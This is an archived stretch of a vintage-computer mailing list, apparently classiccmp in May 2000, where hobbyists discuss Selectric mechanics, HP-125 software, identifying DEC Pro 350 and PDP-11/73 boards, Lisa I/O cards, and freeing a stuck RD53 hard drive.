<000701bfbc1a$d666dbe0$0e0301ac@dba00802.databaseamerica.com> Thanks for the responses so far. FWIW I put up a picture of the "mechanical ALU" of the Selectric here: http://www.panix.com/~allain/ibm_sel.jpg The intriguing thing about it is how rapidly and simply it brought down the information from 50+ keys to such a relatively simple device, without loss of the keypress signature information. John A. From xds_sigma7 at hotmail.com Fri May 12 09:13:39 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:45 2005 Subject: Hmm, while we're HPing, how bout HP-125? Message-ID: <20000512141339.13688.qmail@hotmail.com> Hi, I have a pair of HP-125's, but no software or manuals or the external floppy drives they seem to come with.. have the printer though, and some HP-IB cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST looking machines I've ever seen!!! Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From RCini at congressfinancial.com Fri May 12 10:01:51 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:45 2005 Subject: OT: Looking for old book Message-ID: <497A9E0467D2D2119B760090271EB8E50E9105@MAIL10> Hello, all: Sorry for the intrusion, but I'm looking for either the following book, accompanying diskette, or both: "The Art of C" by Herbert Schildt. If anyone has a spare copy or wants to lighten their bookshelf a bit, please let me know off-list. Thanks! Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From sethm at loomcom.com Fri May 12 11:28:25 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:52:45 2005 Subject: DEC Correspondent (LA12) question... In-Reply-To: <391BB00C.FA565ACD@rdel.co.uk>; from flo@rdel.co.uk on Fri, May 12, 2000 at 08:17:32AM +0100 References: <20000511113648.A1560@loomcom.com> <391BB00C.FA565ACD@rdel.co.uk> Message-ID: <20000512092825.A4350@loomcom.com> On Fri, May 12, 2000 at 08:17:32AM +0100, Paul Williams wrote: > sjm wrote: > > > > I've got a DEC Correspondent (Model LA12-DB) printing terminal. > > But I've got no earthly clue how to configure the thing for baud > > rate, flow control, stop bits, anything. > > There is some setup information in Chapter 13 and Appendix H of the > Terminals and Printers Handbook 1983-84, online at > http://vt100.net/docs/tp83/ Hey, this is fantastic! Thanks -- I've been looking for exactly this reference for a while now. I'll have my LA12 humming along nicely now! -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From george at racsys.rt.rain.com Fri May 12 11:35:35 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:52:45 2005 Subject: Getting all the system connected... In-Reply-To: Message-ID: I took my minor collection to an educators conference here in the northwest a few years back. The conference organizers provided a lockable exhibit room and I provided old working machines. It was a real hit! I talk with a lot of teachers that went down memory lane when they saw some of my machines. My only rule that in order to be exhibited it had to run. Twas a lot of fun. George ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Wed, 10 May 2000, Mike Ford wrote: > What I always envisioned was some kind of traveling road show for old > computers. Something not too hard to setup and take down that would maybe > run some networked games etc. and show people what it was like in the "old" > days. > > Another idea I had was similar using compact macs, like the SE or SE/30, > and a traveling setup for demos of the net, email etc. > > > From ethan_dicks at yahoo.com Fri May 12 11:34:48 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:45 2005 Subject: Printing Infocom Transcripts from 8-bitters (was Re: KIM Manual / Selectric) Message-ID: <20000512163448.21567.qmail@web615.mail.yahoo.com> --- Mike Ford wrote: > turn into detectable improvements in the game. I also pitched Infocom > about porting RtZ to the Amiga, but it never happened. I got the > underlying engine > ........... > > Are you SURE, I am fairly certain I bid on a few cases of Infocom Amiga > versions (might have been the lost treasures series, but I thought it was > more). It was Lost Treasures - I have the Amiga version as well as the PC version. LGoP2 and RtZ used an entirely different language and underlying platform. Zork Zero was the last thing out for the Amiga because it used the old scheme with graphic extensions. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From cisin at xenosoft.com Fri May 12 11:48:24 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:45 2005 Subject: Keyboard actuator In-Reply-To: <200005120550.WAA28478@eskimo.com> Message-ID: > > > > It is vitally important that you not exceed 14.8 characters per second on > > > > Selectrics. > Yes, I understand that, but I was also wondering why the precise speed of > 14.8 characters per second. The number came from IBM. It MIGHT have been due to the specs of some key subassembly. OR Somebody quoted a very round figure in some other set of units (such as words per minute or baud rate) that was plus-or-minus 80%. Somebody else did the arithmetic to convert the units, and took it to 3 significant digit. Since it was in a reasonable range, and came from an authoritative source, it got quoted and canonized; and now is beyond challenge. They would definitely wear out FAST and would jam a lot if run too fast, and there were dire warnings and legends of flying shrapnel to further discourage experimentation. > Besides, "Balls-O-Meter" is fun to work into a conversation. I'm not sure > if all Selectrics have them, though (I think the early ones do). -- Grumpy Ol' Fred cisin@xenosoft.com From ard at p850ug1.demon.co.uk Fri May 12 13:03:08 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:45 2005 Subject: Keyboard actuator In-Reply-To: <200005120052.RAA24271@civic.hal.com> from "Dwight Elvey" at May 11, 0 05:52:25 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1410 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000512/ab774bd7/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 12 13:33:21 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:45 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000511200333.143fe4c8@mailhost.intellistar.net> from "Joe" at May 11, 0 08:03:33 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2737 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000512/3eca16a5/attachment-0001.ksh From donm at cts.com Fri May 12 13:40:09 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:45 2005 Subject: Hmm, while we're HPing, how bout HP-125? In-Reply-To: <20000512141339.13688.qmail@hotmail.com> Message-ID: On Fri, 12 May 2000, Will Jennings wrote: > Hi, > I have a pair of HP-125's, but no software or manuals or the external floppy > drives they seem to come with.. have the printer though, and some HP-IB > cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST > looking machines I've ever seen!!! That is the CP/M model, is it not Will? If so, I have the following: Name Format Description 12x-SYS DSDD HP 12x series (120/125) CP/M 2.2 system disk 12x-UTIL DSDD HP 12x series utilities 12x-TUT DSDD HP 12x series Computer Tutor 12x-WS DSDD HP 12x series Wordstar 3.0 12x-WORD DSDD HP 12x series The Word+ 12x-COND DSDD HP 12x series Condor 20 dbms 12x-VISI DSDD HP 12x series Visicalc 12x-GRPH DSDD HP 12x series Graphics 12x-DLNK DSDD HP 12x series to host comm programs - don From technoid at cheta.net Fri May 12 13:42:48 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:45 2005 Subject: Reverse Engineered Infocom-compatible engine by Tom Hunt In-Reply-To: <20000512041602.18478.qmail@web614.mail.yahoo.com> Message-ID: <200005121841.OAA17897@lexington.ioa.net> A long time friend of mine in computers wrote a 'clean room' Infocom compatible engine for the Atari 8-bit. I'm sure he would be happy to share source. He runs the 'Closer to Home' web page/bbs. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From cem14 at cornell.edu Fri May 12 13:52:22 2000 From: cem14 at cornell.edu (Carlos Murillo-Sanchez) Date: Sun Feb 27 18:52:45 2005 Subject: QuickC libs Message-ID: <391C52E6.5A0F9F3D@cornell.edu> Hi all; I seem to have misplaced my installation disks for QuickC 2.0, and the computer where it is installed is missing the large model LLIBCE.LIB, LLIBC.LIB and LLIBFP.LIB libraries, which I need to be able to use my 82335 HPIB card with QuickC. Is there any kind soul out there who could provide me a copy while I find the diskettes? TIA, Carlos. -- Carlos Murillo-Sanchez email: cem14@cornell.edu 428 Phillips Hall, Electrical Engineering Department Cornell University, Ithaca, NY 14853 From technoid at cheta.net Fri May 12 13:59:53 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:45 2005 Subject: 150-format stiffies? In-Reply-To: <200005120609.XAA17961@daemonweed.reanimators.org> Message-ID: <200005121858.OAA22136@lexington.ioa.net> I know what a conventional 'stiffy' is but my definition is WAY off topic... ;-) What is a stiffy in your context of 150 format? -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From fmc at reanimators.org Fri May 12 15:07:46 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:52:45 2005 Subject: 150-format stiffies? In-Reply-To: technoid@cheta.net's message of "Fri, 12 May 2000 14:59:53 -0400" References: <200005121858.OAA22136@lexington.ioa.net> Message-ID: <200005122007.NAA41665@daemonweed.reanimators.org> technoid@cheta.net wrote: > I know what a conventional 'stiffy' is but my definition is WAY off > topic... ;-) > What is a stiffy in your context of 150 format? Consider an 8-inch diskette. See how it's flexible, and bends when you hold it by a corner and let it hang out horizontally? That's why we call it a floppy disk. Now, compare and contrast the typical 3.5" medium, of which most HP150 diskettes are examples. Kind of stiff by comparison, isn't it? -Frank McConnell From ard at p850ug1.demon.co.uk Fri May 12 16:14:29 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:46 2005 Subject: 150-format stiffies? In-Reply-To: <200005121858.OAA22136@lexington.ioa.net> from "technoid@cheta.net" at May 12, 0 02:59:53 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 387 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000512/e11cc23c/attachment-0001.ksh From rigdonj at intellistar.net Fri May 12 17:43:45 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:46 2005 Subject: Hmm, while we're HPing, how bout HP-125? In-Reply-To: <20000512141339.13688.qmail@hotmail.com> Message-ID: <3.0.1.16.20000512174345.0a2f0814@mailhost.intellistar.net> Hi Will, I have a 125 and a 120. The 120 is the same machine but it's the size and shape of a HP 9816. They use the regular HP 9121 and (I think) 9122 HP-IB floppy drives. I have some docs and software for them. I know I have CPM, PAM (HP's menu system) and a word processor for them. I don't remember what else. Joe At 08:13 AM 5/12/00 MDT, you wrote: >Hi, >I have a pair of HP-125's, but no software or manuals or the external floppy >drives they seem to come with.. have the printer though, and some HP-IB >cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST >looking machines I've ever seen!!! > >Will J >________________________________________________________________________ >Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > From rigdonj at intellistar.net Fri May 12 18:01:16 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:46 2005 Subject: DEC stuff In-Reply-To: References: <3.0.1.16.20000511200333.143fe4c8@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000512180116.0a2f0ce0@mailhost.intellistar.net> At 07:33 PM 5/12/00 +0100, you wrote: >> >The PRO 350 (Professional 350) is essentially a desktop PDP11. There's an >> >F11 chipset in there (like in an 11/23) linked to a somewhat strange bus. >> >The video display system in also on that bus (like on a PC) -- it's not a >> >serial terminal which is more conventional for PDP11s. You link a VR201 >> >(composite mono) or VR241 (colour) monitor up the machine -- I believe >> >the latter needs some kind of video expansion card. User input is via an >> >LK201 keyboard (same keyboard as the VT220, etc). >> >> Yeap, I have to go back and look for the monitor. I didn't know what it >> used so I couldn't pick it out. > >IIRC, _Any_ Pro350 will work with the mono monitor (VR201), but you need >the video expansion card to really use the colour monitor... How can I tell which video system is in this one? It has a DB15M connector on the back and it simply says "video". I went back today and found a VR201 and three VR241s. They're marked bad but I grabbed them anyway. Do you know anything about what kind of cable does the VR241 uses? > > >> >> > >> >There's most likely an RX50 dual floppy drive in the right hand drive bay >> >and an RD50 or RD51 (5 or 10M winchester) in the left bay. >> >> I went through both machines today. The 350 has a RD51 and a RX50. > >OK, sounds pretty standard... > > >[Pro 350 cards] > >> I didn't pull the cards but it has a 000401, a 002004, a 001002 and a >> 000034. Can anyone id these? > >According to Megan's module list : > >000034 = RAM expansion >000401 = Winchester controller (for the RD51) >001002 = Video card (standard one, for the VR201. You need an 001403 >alongside it for the VR241 colour monitor) OK that's answers my question. Any idea what else uses the VR241? >002004 = RX50 floppy controller. > >So your machine needs the VR201 monitor (and LK201 keyboard), and >unfortunately doesn't contain any of the really 'cool' options... Oh well, some days chicken and some days feathers! > > >[Micro PDP11/73] >> >> This is a cool machine! I got into it today too. I found out that it has >> a Q-bus HP-IB card in it made by Tektronix! I saw the manuals and software > >Actually, at least over here, DEC GPIB cards for Q-bus (IBV11) aren't >_that_ rare. > >> for the card in the load that just came in. This machine was used a a >> controller for a Tektronix 7912(?) Digitizer. Besides the Tektronix card, >> it has a M8190, a M7551, and a M8639 card in it. Can anyone ID them? > >M8190 is a J11-based CPU board. Are there any letters after the number >(like -AB or something). OK here are all the suffixs; M8190 AB, M7551 BF and M8639 YB. BTW, Megan's list is a little confusing on this >card -- it says that the plain M8190 is the 11/84 CPU (which it may well >be) and is used in Unibus machines (which the 11/84 is). But the card >itself is _Qbus_. In the 11/84 there's a bus translator to convert Qbus >to Unibus. Don't put any M8190 card into a Unibus backplane. > >M7551 is the RAM card. Again, the suffix letters will tell you what size >it actually is. It's either 512kW, 1MW or 2MW. I booted it to the ROM monitor last night, it has 2 Mb total RAM. > >M8639 is the disk controller, for RX50 floppies and RD51/RD52 >winchesters. It's either an RQDX1 or an RQDX2, again depending on the suffix. Hmmm. It has a RD53 (85 Mb) drive in it. Maybe this is why I couldn't get it to boot. Or am I missing something? > >Hope that helps It does. Joe From rigdonj at intellistar.net Fri May 12 18:50:28 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:46 2005 Subject: DEC stuff, pictures Message-ID: <3.0.1.16.20000512185028.400f4f5c@mailhost.intellistar.net> I'm uploading the pictures of the DEC pro 350 and the micro PDP right now. Here's the list: "www.intellistar.net/~rigdonj/dec/350tower.jpg", "www.intellistar.net/~rigdonj/dec/350-tag.jpg", "www.intellistar.net/~rigdonj/dec/350twrbk.jpg", "www.intellistar.net/~rigdonj/dec/350front.jpg", "www.intellistar.net/~rigdonj/dec/350insd.jpg", "www.intellistar.net/~rigdonj/dec/350-hd.jpg", "www.intellistar.net/~rigdonj/dec/350-fd.jpg", "www.intellistar.net/~rigdonj/dec/350cards.jpg", "www.intellistar.net/~rigdonj/dec/350bar.jpg", "www.intellistar.net/~rigdonj/dec/350-cpu.jpg", "www.intellistar.net/~rigdonj/dec/350-main.jpg", "www.intellistar.net/~rigdonj/dec/350-mem.jpg" and "www.intellistar.net/~rigdonj/dec/1173top.jpg", "www.intellistar.net/~rigdonj/dec/1173tag.jpg", "www.intellistar.net/~rigdonj/dec/1173back.jpg", "www.intellistar.net/~rigdonj/dec/1173fnt.jpg", "www.intellistar.net/~rigdonj/dec/1173fnt2.jpg", "www.intellistar.net/~rigdonj/dec/1173insd.jpg", "www.intellistar.net/~rigdonj/dec/1173card.jpg" Joe From gaz_k at lineone.net Wed May 10 02:19:38 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:52:46 2005 Subject: classiccmp-digest V1 #163 References: <001901bfb9cd$f9f6d280$0200a8c0@marvin> Message-ID: <00ab01bfbc67$8d2c3040$f55701d5@gazk> Mark Gregory > Even the Amigas with Kickstart in ROM could be soft-kicked if necessary. I > ran an A2000 with a 1.3 ROM that soft-kicked to a 2.0 ROM image, so I could > run OS 2.0 when it was first released. Any Amiga can be softkicked with a different ROM version. The most common being KS1.3 degraders and KS3.x enhancers. The only exception to this rule is the latest release (AmigaOS 3.5) that requires a physical Kickstart 3.1 chip to run. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From ard at p850ug1.demon.co.uk Fri May 12 18:30:13 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:46 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000512180116.0a2f0ce0@mailhost.intellistar.net> from "Joe" at May 12, 0 06:01:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 9077 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000513/8e6ac444/attachment-0001.ksh From Innfogra at aol.com Sat May 13 00:21:46 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:52:46 2005 Subject: Hmm, while we're HPing, how bout HP-125? Message-ID: <26.598524d.264e406a@aol.com> In a message dated 5/12/2000 11:45:35 AM Pacific Daylight Time, donm@cts.com writes: > > I have a pair of HP-125's, but no software or manuals or the external > floppy > > drives they seem to come with.. have the printer though, and some HP-IB > > cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST > > looking machines I've ever seen!!! > > That is the CP/M model, is it not Will? If so, I have the following: > > Name Format Description > 12x-SYS DSDD HP 12x series (120/125) CP/M 2.2 system disk > 12x-UTIL DSDD HP 12x series utilities > 12x-TUT DSDD HP 12x series Computer Tutor > 12x-WS DSDD HP 12x series Wordstar 3.0 > 12x-WORD DSDD HP 12x series The Word+ > 12x-COND DSDD HP 12x series Condor 20 dbms > 12x-VISI DSDD HP 12x series Visicalc > 12x-GRPH DSDD HP 12x series Graphics > 12x-DLNK DSDD HP 12x series to host comm programs > > - don > Don; Are these 8" disks, 5 1/4" disks or 3 1/2" disks? I think I have some 5 1/4" HP HPIB disk drives that I think work on the 125s & 120s. I also have a 120 somewhere. I used to have a 125 and it is the CPM machine on a strange pedestal. They came in two heights. IIRC the 125 had a larger parallel Centronics type connector to hook up to 5 1/4" & 8" drives. Some of my disk drives have a dual plug set up, HPIB and this larger Centronics type connector. I am sure I don't have the large cable though. I have lots of HPIB cables. Paxton From mrdos at swbell.net Fri May 12 02:00:52 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:52:46 2005 Subject: IBM System/36 5363 Security Issue Message-ID: <000701bfbbdf$d1230ea0$a7893cd8@compaq> Does anyone know how to bypass security on an IBM System/36 5363? I have had one for over a year now, and have not been able to use it because I don't know the User ID or Password. Thanks, Owen Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000512/0be10853/attachment-0001.html From rigdonj at intellistar.net Sat May 13 07:52:59 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:46 2005 Subject: Hmm, while we're HPing, how bout HP-125? In-Reply-To: <26.598524d.264e406a@aol.com> Message-ID: <3.0.1.16.20000513075259.3b274a42@mailhost.intellistar.net> At 01:21 AM 5/13/00 EDT, Paxton wrote: >In a message dated 5/12/2000 11:45:35 AM Pacific Daylight Time, donm@cts.com >writes: > >> > I have a pair of HP-125's, but no software or manuals or the external >> floppy >> > drives they seem to come with.. have the printer though, and some HP-IB >> > cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST >> > looking machines I've ever seen!!! >> >> That is the CP/M model, is it not Will? If so, I have the following: >> >> Name Format Description >> 12x-SYS DSDD HP 12x series (120/125) CP/M 2.2 system disk >> 12x-UTIL DSDD HP 12x series utilities >> 12x-TUT DSDD HP 12x series Computer Tutor >> 12x-WS DSDD HP 12x series Wordstar 3.0 >> 12x-WORD DSDD HP 12x series The Word+ >> 12x-COND DSDD HP 12x series Condor 20 dbms >> 12x-VISI DSDD HP 12x series Visicalc >> 12x-GRPH DSDD HP 12x series Graphics >> 12x-DLNK DSDD HP 12x series to host comm programs >> >> - don >> >Don; > >Are these 8" disks, 5 1/4" disks or 3 1/2" disks? I think I have some 5 1/4" >HP HPIB disk drives that I think work on the 125s & 120s. They usually have 3 1/2" drives but the 5 1/4" drives should work on them. But the 5 1/4" are SLLOOOWWWW! I also have a 120 >somewhere. You used to, I have it now (via Dan). > >I used to have a 125 and it is the CPM machine on a strange pedestal. They >came in two heights. IIRC the 125 had a larger parallel Centronics type >connector to hook up to 5 1/4" & 8" drives. Hmmm. I think you're confused here. I don't remember the 125 having a parallel connector. Are you sure that the connector that you're thinking of isn't the RS-232 connector? HP uses a 50 pin Centronics style connector for it. My 125 is buried at the moment so I can't check. Also I've never seen a 5 1/4" drive with the parallel connection. All of the ones that I'm aware of use HP-IB. Some of the 8" drives used the parallel ports. Some of my disk drives have a >dual plug set up, HPIB and this larger Centronics type connector. Hmmm. I've never heard of a drive having both interfaces. What model is that? >I am sure I >don't have the large cable though. I have lots of HPIB cables. I have one or two of the large parallel cables. They're part of a special version (option 85) of the HP 98032 16 bit parallel interface. Joe > >Paxton > From rigdonj at intellistar.net Sat May 13 10:19:55 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:46 2005 Subject: DEC stuff In-Reply-To: References: <3.0.1.16.20000512180116.0a2f0ce0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000513101955.265ff69e@mailhost.intellistar.net> At 12:30 AM 5/13/00 +0100, Tony wrote: (Lots of details about the DEc monitors snipped) Thanks for the info. I have a Rainbow that I need to fix too so that should be a big help. >> Hmmm. It has a RD53 (85 Mb) drive in it. Maybe this is why I couldn't >> get it to boot. Or am I missing something? > >No, I think the RQDX2 (at least with the right ROMs) can handle this >drive. Unless there's reason to believe the drive has been swapped since >the machine last worked, I'd not worry about this. RD53s do have a >well-known failure mode where the heads stick to the 'rubber bumper' >inside, but this results in the drive failing to stay spun up. Does your >drive seem to behave properly in this respect? What exactly do you mean that they "fail to stay spun up"? This one seems to spin up fine but I didn't notice how long it kept spinning. I don't know if it's seeking or mot. I don't remember the exact error but it was "drive not ready" or something like that. (The error for the floppy drives was invalid or missing media but that's not surprising since there were no disks in them.) Is there a way to check to see if the head is sticking to the bumper or to release it? I wouldn't be surprised if this one is sticking, it's been sitting in storage for a good while. Joe From kyrrin at bluefeathertech.com Sat May 13 11:21:05 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:46 2005 Subject: RT11 Pocket Guide Claimed Message-ID: <391D1E81.2955.3637E61D@localhost> Mark Honeycutt's E-mail had the earliest timestamp of three I received, so he's the lucky(?) recipient of the RT11 pocket guide I had advertised. For the record, John Allain's came in second, and Emanuel Stiebler third. Guys, I wish I had enough to go around, but thanks for your interest in any case. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From healyzh at aracnet.com Sat May 13 11:38:02 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:46 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000513101955.265ff69e@mailhost.intellistar.net> References: <3.0.1.16.20000512180116.0a2f0ce0@mailhost.intellistar.net> Message-ID: > What exactly do you mean that they "fail to stay spun up"? This one >seems to spin up fine but I didn't notice how long it kept spinning. I Does it sound like it spins up, then stops, then spins up, and so on? >don't know if it's seeking or mot. I don't remember the exact error but it >was "drive not ready" or something like that. (The error for the floppy Say, the buttons on the front panel, have you played with them? You might have the drive itself off-line. >were no disks in them.) Is there a way to check to see if the head is >sticking to the bumper or to release it? I wouldn't be surprised if this >one is sticking, it's been sitting in storage for a good while. Yes, but someone else will need to explain the incantations necessary to perform the surgery. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From donm at cts.com Sat May 13 13:47:17 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:46 2005 Subject: Hmm, while we're HPing, how bout HP-125? In-Reply-To: <26.598524d.264e406a@aol.com> Message-ID: On Sat, 13 May 2000 Innfogra@aol.com wrote: > In a message dated 5/12/2000 11:45:35 AM Pacific Daylight Time, donm@cts.com > writes: > > > > I have a pair of HP-125's, but no software or manuals or the external > > floppy > > > drives they seem to come with.. have the printer though, and some HP-IB > > > cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST > > > looking machines I've ever seen!!! > > > > That is the CP/M model, is it not Will? If so, I have the following: > > > > Name Format Description > > 12x-SYS DSDD HP 12x series (120/125) CP/M 2.2 system disk > > 12x-UTIL DSDD HP 12x series utilities > > 12x-TUT DSDD HP 12x series Computer Tutor > > 12x-WS DSDD HP 12x series Wordstar 3.0 > > 12x-WORD DSDD HP 12x series The Word+ > > 12x-COND DSDD HP 12x series Condor 20 dbms > > 12x-VISI DSDD HP 12x series Visicalc > > 12x-GRPH DSDD HP 12x series Graphics > > 12x-DLNK DSDD HP 12x series to host comm programs > > > Are these 8" disks, 5 1/4" disks or 3 1/2" disks? I think I have some 5 1/4" > HP HPIB disk drives that I think work on the 125s & 120s. I also have a 120 > somewhere. These are DSDD 5.25". It may well be possible to 'build' 3.5" disks from them, though. - don > I used to have a 125 and it is the CPM machine on a strange pedestal. They > came in two heights. IIRC the 125 had a larger parallel Centronics type > connector to hook up to 5 1/4" & 8" drives. Some of my disk drives have a > dual plug set up, HPIB and this larger Centronics type connector. I am sure I > don't have the large cable though. I have lots of HPIB cables. > > Paxton > From wmsmith at earthlink.net Sat May 13 14:04:44 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:52:46 2005 Subject: Lisa I/O Card Question References: <005b01bfbb24$85670040$160917d4@zen.co.uk> Message-ID: <002001bfbd0e$1aa3d6c0$f099b2d1@Smith.earthlink.net> This should be an easy question for one of you Lisa experts to answer. I have a Lisa 2/5 with H8 ROM which has the following I/O card, no. 820-4033-A: http://home.earthlink.net/~wmsmith/_uimages/Lisa_IO_820 -4033-A.jpg Some time ago I came across a different I/O card, no. 820-4033-A2: http://home.earthlink.net/~wmsmith/_uimages/Lisa_IO_820 -4033-A2.jpg I have heard that this second A2 version of the card, which lacks the leaky batteries, is the "Mac XL" version. But, what exactly does this mean? Will it only support a Widget drive and not a Profile? The disk controller ROM, second chip in on the upper left on the A2 version is no. 341-0281-D. Thanks, all. -W From ard at p850ug1.demon.co.uk Sat May 13 14:50:11 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:46 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000513101955.265ff69e@mailhost.intellistar.net> from "Joe" at May 13, 0 10:19:55 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2552 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000513/ada3ad27/attachment-0001.ksh From allisonp at world.std.com Sat May 13 16:57:21 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:46 2005 Subject: DEC stuff Message-ID: <008c01bfbd27$ec1bc3c0$7364c0d0@ajp166> >If that fails, then you can try opening the HDA (screws on top) and >freeing the head by hand. Needless to say this should really be done in a >clean room, but you can _often_ get away with doing it in a normal room >if you keep the dust down (obviously, don't smoke, and keep the cat out >of the way :-)). Hints for those that have to resort to this. First clean the outside well, use compressed air and a damp rag to wipe it. This gets rid of local dust Wipe the area too. then wash hands, you laugh! Washing the hands gets rid of oils and dust that and all. Now, you can open the cover, use clean tools as well. once the cover is loose you can get inside. To do this part the drive needs to be powered as it's not safe to move the heads with the platter not rotating. Control cables are not needed, just power. Power up and observe the platters and heads, likely you will see spin up but, no head movement. If this is the case with the patters spinning give the head arm a push, if thing go well it will sweep the full travel then home in on track 0000. Now the drive can be covered. For the brave used to fine work a liitle plastic (clear packing tape) over the offending bumper will prevent this from happening again. hopefully the rescued drive has no other problems and an OS. If the head will not move the head lock (under the HDA and controboards on the bottom may be stuck. if it is put the cover on flip it over and remove the solenoid (it will run fine without it, never ship it though!). Retry the spinup. I've done this on several drives, all of which I still use. What makes this work is the basic design and physics. Spin those platters at 3600 rpm and landing on them heads for the walls. Since there is rotation there is a basic airflow pattern that insures and dust in side gets picked up. Fingerprints on the platter are bad though but I've never had a crashed one, though I did take one with other bad problems and try a few things. Oh, it took writing on the platter with pencil to make the head crash. ;) Anywho I've found this drive has two problems, heat and heat. The bumper problem is heat related. So if you keep the drive cool it does seem to last many years. this is true for a lot of the older drives. Keep them fans goin. Allison From eric at brouhaha.com Sat May 13 19:28:52 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:46 2005 Subject: Lisa I/O Card Question In-Reply-To: <002001bfbd0e$1aa3d6c0$f099b2d1@Smith.earthlink.net> (wmsmith@earthlink.net) References: <005b01bfbb24$85670040$160917d4@zen.co.uk> <002001bfbd0e$1aa3d6c0$f099b2d1@Smith.earthlink.net> Message-ID: <20000514002852.10469.qmail@brouhaha.com> "Wayne M. Smith" writes: > I have a Lisa 2/5 with H8 ROM which has the following > I/O card, no. 820-4033-A: > http://home.earthlink.net/~wmsmith/_uimages/Lisa_IO_820-4033-A.jpg This card works in a Lisa 1, Lisa 2 (no hard drive), and Lisa 2/5 (external profile). It has support for two floppy drives, although that only works with Twiggy drives. It does 